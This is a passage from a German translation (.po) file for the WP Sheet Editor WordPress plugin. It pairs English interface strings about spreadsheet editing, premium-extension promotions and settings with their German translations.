nächsten liegt." #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "Delete the attached images when deleting a post?" msgstr "Beim Löschen eines Beitrags die angehängten Bilder löschen?" #: wp-sheet-editor/dev/inc/options-init.php:358 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Wenn Sie zum Beispiel einen Beitrag vollständig löschen (nicht in den " "Papierkorb verschieben), löschen Sie das Beitragsbild und die Galeriebilder " "aus der Medienbibliothek. SORGFALT: Wenn Sie dieselben Bilder in mehreren " "Beiträgen verwenden, werden die Bilder in anderen Beiträgen zerstört" #: wp-sheet-editor/dev/inc/options-init.php:367 msgid "Disable extension offerings?" msgstr "Erweiterungsangebote deaktivieren?" #: wp-sheet-editor/dev/inc/providers/post.php:385 msgid "" "Row ID: %d, Post type: %s does not exist in WordPress. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Zeilen-ID: %d, Beitragsart: %s ist in WordPress nicht vorhanden. Stellen Sie " "sicher, dass Ihr CSV den richtigen Namen in der Spalte für den Beitragstyp " "verwendet." #: wp-sheet-editor/dev/inc/providers/post.php:392 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Zeilen-ID: %d. Sie versuchen, einen leeren Beitragstyp zu speichern. Stellen " "Sie sicher, dass Ihr CSV den richtigen Namen in der Spalte für den " "Beitragstyp verwendet." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Holen Sie sich Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "WooCommerce-Gutscheine" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Gutscheine in einem Arbeitsblatt bearbeiten.
                  Bearbeiten von Gutschein-" "Codes, Beträgen, Status, Einschränkungen und mehr. Erweiterte Suchvorgänge " "durchführen. Das Arbeitsblatt ist mit Ihrer Website synchronisiert, Sie " "müssen nichts importieren/exportieren. Plugin herunterladen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Änderungen insgesamt anwenden" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Massen-Update-Funktion" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "Die Funktion \"Massenaktualisierung\" ermöglicht es Ihnen, mehrere Beiträge " "auf einmal zu aktualisieren,
                  und Sie können viele coole Dinge tun, zum " "Beispiel:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Wörter oder Ausdrücke im Titel, Inhalt oder anderen Feldern Ihrer Beiträge " "ersetzen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Preise für Produkte erhöhen oder verringern" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Produktbestand erhöhen oder verringern" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Status aller Ihrer Entwürfe in veröffentlichte Beiträge oder einen anderen " "Status ändern" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Hunderte von Produkten auf einmal als vergriffen oder auf Lager kennzeichnen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Fügen Sie am Anfang oder am Ende Ihrer Beiträge Aufrufe zu Aktionen oder " "beliebige Texte hinzu" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Alte Shortcodes in allen Ihren Beiträgen durch neue Shortcodes ersetzen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Dasselbe Bild für alle Beiträge einer Kategorie festlegen" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Hunderte von Beiträgen in den Papierkorb verschieben" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Usw." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Stellen Sie sich vor, Sie könnten all diese Änderungen an Hunderten oder " "Tausenden von Beiträgen in nur wenigen Minuten auf einmal vornehmen. Die " "Formelfunktion ist als Premium-Erweiterung verfügbar." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "Erweiterung jetzt kaufen!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Tabelleneditor im Frontend anzeigen" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Wir haben eine Erweiterung für die Anzeige dieses Arbeitsblatts im Frontend. " "Sie können die Spalten auswählen, die angezeigt werden sollen, und die " "Arbeitsblattwerkzeuge für die Frontend-Benutzer auswählen (Suche, Menge, " "Bearbeiten, Import, Export usw.). Zum Beispiel:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Erlauben Sie Ihren Kunden, WooCommerce-Produkte mit Hilfe des Arbeitsblatts " "ohne WP-Admin zu bearbeiten" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Erlauben Sie Ihren Lesern, Blog-Beiträge mit Hilfe des Arbeitsblatts zu " "übermitteln" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Erlauben Sie Ihren Besuchern, Veranstaltungen zu veröffentlichen" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Ermöglichen Sie Ihren Mitarbeitern die Verwaltung von Lagerbeständen und " "Preisen" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Erlauben Sie Ihren Marktplatz-Verkäufern, Produkte über das Frontend zu " "importieren" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Erlauben Sie Ihren Marktplatz-Verkäufern die Massenbearbeitung ihrer Produkte" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Ermöglichen Sie Ihren Kunden das Herunterladen des Katalogs" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "Erlauben Sie Ihren Kunden, erweiterte Katalogsuchen durchzuführen " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Und mehr." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Demo-Video" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Alle im Backend-Arbeitsblatt verfügbaren Funktionen können im Frontend-" "Arbeitsblatt verwendet werden." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "WordPress bearbeiten %s" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "Mit dem Tabelleneditor können Sie Ihr WordPress %s bearbeiten." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Sie können Ihre Medieninformationen wie folgt bearbeiten:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Untertitel" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Alternativtext" #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Beschreibung" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Hochgeladen vom Benutzer" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Kommentare aktivieren" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Und eine Vorschau während der Bearbeitung sehen" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Sie können Ihre WooCommerce-Produktinformation wie folgt bearbeiten:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Kompletter Inhalt" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Zeitraum Sonderpreis" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Beitragsbild" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:590 msgid "Gallery" msgstr "Galerie" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Ist herunterladbar" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Virtuell" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Mit unserem Editor können Sie alle Informationen von
                  Ihrem %s " "bearbeiten, was Ihnen viel Zeit erspart." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Diese Funktion ist als Premium-Erweiterung verfügbar." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Tipp von WP Sheet Editor: Bearbeiten Sie Tausende von Kategorien auf " "einmal, führen Sie erweiterte Suchen durch, zeigen Sie alle Informationen " "auf einer Seite an, und mehr." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "In einem Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:64 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows " "at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Upgrade: Export, Import, Bearbeitung in Excel oder Google Sheets; " "Massenbearbeitung von " "Tausenden von Zeilen auf einmal, Bearbeitung aller Felder aus anderen " "Plugins und mehr. Upgraden und tagelange Arbeit sparen" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:83 msgid "View Extensions" msgstr "Erweiterungen anzeigen" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Benutzer" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Tipp von WP Sheet Editor: Sie können alle Benutzer in einer Tabelle " "anzeigen, Tausende von vollständigen Profilen anzeigen, Hunderte von " "Benutzern auf einmal bearbeiten, ohne dass Ihr Server abstürzt, alle " "Versand-/Rechnungs-/BuddyPress-Informationen anzeigen. Führen Sie erweiterte " "Suchvorgänge durch, erstellen Sie Hunderte von Benutzern, und mehr. Plugin herunterladen" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:345 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Lite-Version. Zeigt alle Produkte und alle Felder als Spalten an. " "15 Spalten sind editierbar, die restlichen sind schreibgeschützt. " "
                  Upgrade:
                  Bearbeitung in Excel/Google Sheets, Export, Import, " "Massenbearbeitung von Tausenden von Produkten auf einmal." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:357 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Tipp von WP Sheet Editor: Sie können Produktvarianten in einem " "Arbeitsblatt anzeigen und bearbeiten, eine Massenbearbeitung durchführen, " "erweiterte Suchen durchführen, Hunderte von Varianten auf einmal bearbeiten, " "Varianten auf mehrere Produkte kopieren usw. Plugin herunterladen" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:455 msgid "Regular Price" msgstr "Regulärer Preis" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:469 msgid "Sale Price" msgstr "Sonderpreis" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:636 msgid "Sales price date from" msgstr "Sonderpreis-Datum von" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:648 msgid "Sales price date to" msgstr "Sonderpreis-Datum bis" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:675 msgid "is featured?" msgstr "empfohlen?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:691 msgid "Allow backorders" msgstr "Lieferrückstand zulassen" # php source does not exist #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:866 #, fuzzy msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." #: wp-sheet-editor/dev/views/editor-page.php:53 msgid "Full screen mode is active" msgstr "Vollbildmodus ist aktiv" #: wp-sheet-editor/dev/views/editor-page.php:54 msgid "Exit" msgstr "Verlassen" #: wp-sheet-editor/dev/views/editor-page.php:58 msgid "Activate full screen" msgstr "Vollbild aktivieren" #: wp-sheet-editor/dev/views/editor-page.php:98 msgid "Current spreadsheet: %s" msgstr "Aktuelles Arbeitsblatt: %s" #: wp-sheet-editor/dev/views/editor-page.php:98 msgid "0 rows" msgstr "0 Zeilen" #: wp-sheet-editor/dev/views/editor-page.php:107 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Wir empfehlen Ihnen, den Serverspeicher auf mindestens 256 MB zu erhöhen, " "um Serverfehler zu vermeiden. Anleitung" #: wp-sheet-editor/dev/views/editor-page.php:111 msgid "Active filters:" msgstr "Aktive Filter:" #: wp-sheet-editor/dev/views/editor-page.php:124 #: wp-sheet-editor/dev/views/quick-setup.php:37 msgid "Welcome to WP Sheet Editor" msgstr "Willkommen bei WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:125 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Bitte führen Sie eine Suche durch, um die Zeilen zu laden und mit der " "Bearbeitung zu beginnen (benutzen Sie die Option \"Suche\" in der oberen " "Werkzeugleiste)." #: wp-sheet-editor/dev/views/editor-page.php:127 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Sie müssen die Zeilen manuell laden, da Sie das automatische Laden von " "Zeilen deaktiviert haben. Einstellungen ändern" #: wp-sheet-editor/dev/views/editor-page.php:144 msgid "Go to page" msgstr "Zur Seite" #: wp-sheet-editor/dev/views/editor-page.php:146 msgid "Use an infinite list instead of pagination" msgstr "Verwenden Sie eine unbegrenzte Liste anstelle der Seitennummerierung" #: wp-sheet-editor/dev/views/editor-page.php:146 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Aktivieren Sie diese Option, um die Schaltflächen für die Seitennummerierung " "zu entfernen und Zeilen automatisch zu laden, wenn Sie nach unten scrollen. " "Sie sehen dann alle Zeilen gleichzeitig, Sie können problemlos Tausende von " "Zeilen laden." #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Load More Rows" msgstr "Weitere Zeilen laden" #: wp-sheet-editor/dev/views/editor-page.php:150 msgid "Go to the top" msgstr "Nach oben" #: wp-sheet-editor/dev/views/editor-page.php:152 msgid "Enable pagination" msgstr "Seitennummerierung aktivieren" #: wp-sheet-editor/dev/views/editor-page.php:152 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Standardmäßig verwenden wir eine unendliche Liste von Zeilen, und wir laden " "jedes Mal mehr Zeilen, wenn Sie nach unten scrollen. Sie können diese Option " "aktivieren, um Links zur Seitennummerierung anzuzeigen und die unbegrenzte " "Liste zu deaktivieren" #: wp-sheet-editor/dev/views/editor-page.php:156 msgid "Increase rows per page" msgstr "Zeilen je Seite erhöhen" #: wp-sheet-editor/dev/views/editor-page.php:156 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Wir verwenden die Seitennummerierung. Standardmäßig laden wir 20 Zeilen je " "Seite (jedes Mal, wenn Sie nach unten scrollen). Sie können die Anzahl " "erhöhen, um bei jedem Herunterscrollen mehr Zeilen zu laden." #: wp-sheet-editor/dev/views/editor-page.php:173 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "Editing:" msgstr "Beim Bearbeiten:" #: wp-sheet-editor/dev/views/editor-page.php:205 msgid "You can resize the editor" msgstr "Sie können die Größe des Editors ändern" #: wp-sheet-editor/dev/views/editor-page.php:209 msgid "Save changes and go to the previous post editor" msgstr "Änderungen speichern und zum vorherigen Beitrags-Editor gehen" #: wp-sheet-editor/dev/views/editor-page.php:210 msgid "Just save changes" msgstr "Einfach Änderungen speichern" #: wp-sheet-editor/dev/views/editor-page.php:212 msgid "Cancel the changes and close popup" msgstr "Änderungen abbrechen und Popup schließen" #: wp-sheet-editor/dev/views/editor-page.php:213 msgid "Save changes and go to the next post editor" msgstr "Änderungen speichern und zum nächsten Beitrags-Editor gehen" #: wp-sheet-editor/dev/views/editor-page.php:226 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Die bevorstehenden Änderungen sind nicht umkehrbar. Sie sollten Ihre " "Datenbank sichern, bevor Sie fortfahren." #: wp-sheet-editor/dev/views/editor-page.php:228 msgid "The changes about to be made are not reversible" msgstr "Die bevorstehenden Änderungen sind nicht umkehrbar" #: wp-sheet-editor/dev/views/editor-page.php:230 msgid "I understand, continue" msgstr "Ich weiß, bitte fortfahren" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Wir speichern jetzt. Schließen Sie dieses Fenster nicht, bevor der Vorgang " "abgeschlossen ist." #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Tipp: Das Speichern ist zu langsam? Speichern Sie mehr Positionenje Verarbeitungszyklus
                  Erhalten Sie Fehler beim Speichern? Speichern Sie weniger Positionenje Verarbeitungszyklus" #: wp-sheet-editor/dev/views/editor-page.php:264 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "Dauert das Laden zu lange?
                  1. Sie können warten, bis der Prozess " "abgeschlossen ist.
                  2. Sie können " #: wp-sheet-editor/dev/views/extensions-modal.php:4 #: wp-sheet-editor/dev/views/usage-stats-widget.php:95 msgid "Extend the spreadsheet" msgstr "Arbeitsblatt erweitern" #: wp-sheet-editor/dev/views/extensions-page.php:18 msgid "What component do you need?" msgstr "Welche Komponente benötigen Sie?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Werbung: %d%% RABATT nur heute. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Erhalten Sie die untenstehenden %d Erweiterungen für nur $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Verwenden Sie den Gutschein: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Geld-zurück-Garantie. Kaufen Sie das Plugin bedenkenlos. Wir geben " "Ihnen eine Rückerstattung, wenn das Plugin nicht funktioniert." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Andere Erweiterungen" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Arbeitsblatt für %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Kostenlose Erweiterungen

                  " #: wp-sheet-editor/dev/views/post-types-form.php:15 msgid "Available spreadsheets" msgstr "Verfügbare Arbeitsblätter" #: wp-sheet-editor/dev/views/quick-setup.php:62 msgid "Save and continue" msgstr "Speichern und fortsetzen" #: wp-sheet-editor/dev/views/quick-setup.php:68 msgid "Available components" msgstr "Verfügbare Komponenten" #: wp-sheet-editor/dev/views/quick-setup.php:69 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "Der Tabelleneditor ist sehr leistungsfähig und hat viele Funktionen. In " "diesem Schritt können Sie die Funktionen aktivieren, die Sie benötigen." #: wp-sheet-editor/dev/views/quick-setup.php:75 msgid "Continue" msgstr "Weiter" #: wp-sheet-editor/dev/views/quick-setup.php:79 msgid "The Spreadsheet is ready." msgstr "Das Arbeitsblatt ist fertig." #: wp-sheet-editor/dev/views/quick-setup.php:92 #: wp-sheet-editor/dev/views/usage-stats-widget.php:114 msgid "Edit " msgstr "Bearbeiten " #: wp-sheet-editor/dev/views/quick-setup.php:108 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Tipp: Wir können Ihnen bei der Einrichtung des Arbeitsblatts helfen. " "Erhalten Sie sofortige Hilfe im Live-Chat während der Geschäftszeiten" #: wp-sheet-editor/dev/views/settings-form.php:1 msgid "Advanced Settings" msgstr "Erweiterte Einstellungen" #: wp-sheet-editor/dev/views/settings-form.php:12 #: wp-sheet-editor/dev/views/settings-form.php:56 msgid "Reset settings" msgstr "Einstellungen zurücksetzen" #: wp-sheet-editor/dev/views/settings-form.php:55 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Wir zeigen alle Spalten an, die gelöscht oder deaktiviert wurden, umbenannte " "Spalten zeigen die Originaltitel an, wir scannen die Datenbank erneut durch, " "um Spalten wiederzufinden, und die Geschwindigkeits-/fortgeschrittenen " "Einstellungen werden auf die Standardwerte zurückgesetzt. Dies betrifft nur " "die Einstellungen unseres Plugins und hat keinen Einfluss auf die mit dem " "Blatt bearbeiteten Daten." #: wp-sheet-editor/dev/views/single-extension.php:15 msgid "Active." msgstr "Aktiv." #: wp-sheet-editor/dev/views/usage-stats-widget.php:53 msgid "Thank you for using our spreadsheet editor" msgstr "Vielen Dank, dass Sie unseren Tabelleneditor verwenden" #: wp-sheet-editor/dev/views/usage-stats-widget.php:61 msgid "Usage stats" msgstr "Nutzungsstatistiken" #: wp-sheet-editor/dev/views/usage-stats-widget.php:67 msgid "Modified posts" msgstr "Beiträge geändert" #: wp-sheet-editor/dev/views/usage-stats-widget.php:71 msgid "Time saved
                  (estimated)" msgstr "Zeitersparnis
                  (geschätzt)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:75 msgid "Clicks avoided
                  (estimated)" msgstr "Vermiedene Klicks
                  (geschätzt)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "WooCommerce-Produkte, WooCommerce-Varianten und Attribute bearbeiten.
                  Hunderte von Beiträgen auf einmal mit Formeln bearbeiten, Informationen " "zwischen Beiträgen kopieren,
                  Benutzerdefinierte Beitragstypen und " "benutzerdefinierte Felder bearbeiten, Benutzerprofile bearbeiten und mehr" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "View extensions" msgstr "Erweiterungen anzeigen" #: wp-sheet-editor/dev/views/usage-stats-widget.php:102 msgid "Open the Spreadsheet Editor" msgstr "Den Tabelleneditor öffnen" #: wp-sheet-editor/dev/views/whats-new.php:13 msgid "What's new on WP Sheet Editor" msgstr "Was ist neu am WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "Thank you for updating to the new version of the plugin." msgstr "Vielen Dank für die Aktualisierung auf die neue Version des Plugins." #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:5 msgid "" "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " "christmas season. View Extension)" msgstr "" "Neue Erweiterung - WooCommerce Gutscheine - Gutscheine in einem Arbeitsblatt " "anzeigen/bearbeiten. Erweiterte Suche, Massenbearbeitung von Hunderten von " "Gutscheinen usw. Perfekt für die Weihnachtszeit. Erweiterung anzeigen)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:6 msgid "" "New extension - EVENTS - View/edit events, venues, and organizers in a " "spreadsheet. Advanced search, etc. View " "Extension)" msgstr "" "Neue Erweiterung - EVENTS - Anzeigen/Bearbeiten von Ereignissen, " "Veranstaltungen und Organisatoren in einem Arbeitsblatt. Erweiterte Suche, " "usw. Erweiterung anzeigen)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:7 msgid "" "New feature - Added support for Advanced Custom Fields > relationship " "fields. Paid users only. Upgrade)" msgstr "" "Neue Funktion - Unterstützung für Advanced Custom Fields > Beziehungsfelder " "hinzugefügt. Nur zahlende Benutzer. Upgrade)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:8 msgid "" "Improved tools: formulas engine. Now you can make advanced searches and " "apply formulas to the search results. Paid users only. Upgrade)" msgstr "" "Verbesserte Werkzeuge: Formel-Engine. Jetzt können Sie erweiterte Suchen " "durchführen und Formeln auf die Suchergebnisse anwenden. Nur zahlende " "Benutzer. Upgrade)" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:9 msgid "" "Improved sheet: Moved settings to a dropdown to simplify the UI and added " "new context menu options" msgstr "" "Verbessertes Arbeitsblatt: Einstellungen wurden in eine Dropdown-Liste " "verschoben, um die Benutzeroberfläche zu vereinfachen, und neue Kontextmenü-" "Optionen wurden hinzugefügt" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:10 msgid "" "Improved tools: columns visibility. Now you can delete unnecessary columns " "and improved sorting and disable logic" msgstr "" "Verbesserte Werkzeuge: Sichtbarkeit der Spalten. Jetzt können Sie " "überflüssige Spalten löschen, und die Sortier- und Deaktivierungslogik wurde " "verbessert" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:11 msgid "Fixed more than 13 bugs" msgstr "Mehr als 13 Fehler behoben" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:12 msgid "Improved 7 features" msgstr "7 Funktionen wurden verbessert" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:13 msgid "Updated 6 extensions." msgstr "6 Erweiterungen aktualisiert." #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:14 msgid "View the entire changelog" msgstr "" "Das gesamte Änderungsprotokoll anzeigen" #: wp-sheet-editor/dev/wp-sheet-editor.php:157 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Benutzerprofile im Arbeitsblatt bearbeiten - Basis" #: wp-sheet-editor/dev/wp-sheet-editor.php:160 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Bearbeiten Sie WordPress-Benutzer im Arbeitsblatt, bearbeiten Sie nur " "grundlegende Profile und führen Sie einfache Suchvorgänge durch.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:168 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Benutzerprofile im Arbeitsblatt bearbeiten - FULL" #: wp-sheet-editor/dev/wp-sheet-editor.php:171 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Bearbeiten Sie WordPress-Benutzer im Arbeitsblatt. Bearbeiten der " "GESAMTEN Benutzerprofile, einschließlich benutzerdefinierter Felder. Fügen " "Sie neue Spalten zum Arbeitsblatt hinzu, gut für E-Commerce-Läden, Mitglieds-" "Websites, Veranstaltungsverzeichnisse, Unternehmensverzeichnisse, " "Benutzerverzeichnisse

